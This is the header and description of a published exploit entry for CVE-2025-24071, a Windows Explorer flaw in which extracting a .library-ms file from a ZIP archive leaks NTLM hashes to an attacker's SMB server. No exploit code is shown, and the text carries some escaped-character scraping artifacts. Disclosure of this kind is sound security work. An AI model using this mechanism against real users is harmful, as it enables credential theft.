# Exploit Title: Windows File Explorer Windows 11 (23H2) – NTLM Hash Disclosure
\n
# Exploit Author: Mohammed Idrees Banyamer
\n
# Twitter\/GitHub:https:\/\/github.com\/mbanyamer
\n
# Date: 2025-05-27
\n
# CVE: CVE-2025-24071
\n
# Vendor: Microsoft
\n
# Affected Versions: Windows 10\/11 (All supporting .library-ms and SMB)
\n
# Tested on: Windows 11 (23H2)
\n
# Type: Local \/ Remote (NTLM Leak)
\n
# Platform: Windows
\n
# Vulnerability Type: Information Disclosure
\n
# Description:
\n
# Windows Explorer automatically initiates an SMB authentication request when a
\n
# .library-ms file is extracted from a ZIP archive. This causes NTLM credentials
\n
# (in hashed format) to be leaked to a remote SMB server controlled by the attacker.
\n
# No user interaction is required beyond extraction.<\/p>\n
